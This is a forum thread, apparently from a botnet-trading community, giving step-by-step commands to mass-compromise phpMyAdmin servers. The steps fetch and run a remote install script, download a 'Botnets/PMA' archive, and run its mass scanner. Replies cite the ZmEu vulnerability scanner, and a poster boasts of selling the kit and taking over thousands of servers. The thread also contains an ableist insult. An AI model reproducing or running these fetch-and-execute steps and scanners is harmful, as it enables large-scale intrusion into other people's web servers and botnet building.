It may be old but at least it still works. That's what I'm doing

####

You need to download and install perl dependencies:

```
Code wget https://raw.githubusercontent.com/vnstat/PMA-Exploit/master/install.txt  
sh install.txt
```

Now that that's finished you need to download the pma scanning.

```
Code wget http://0xplanet.com/archive/Botnets/PMA/PMA%20Files/ROXEM.zip
```

```
apt-get install unzip
```

```
unzip ROXEM.zip
```

```
cd ROXEM
```

```
chmod +x *
```

```
./ss 80 -a <IP> -s 10 -i eth0
```

And that should do it. Cheers m8! ?

I don't know if you're autistic or didn't get what he was asking for. He needs the scanner that scans for vulnerable web servers. Give him the Zmeu thing if you have it.

Lusberd99 - June 21, 2015, 1:06 am

Nice nullster Scanner for PMA VULN LIST

Sta.ze - June 21, 2015, 7:07 am

```
./zmeu bios.txt vuln.txt cgi 1000
```

I'm pretty sure this is the command

mind reuploading?

Molo - December 29, 2025, 4:09 pm

Dang building this and selling back in 2012 was fun and able to pull thousands of servers in few days. I should of never sold it here but anyways, some people still using it today.
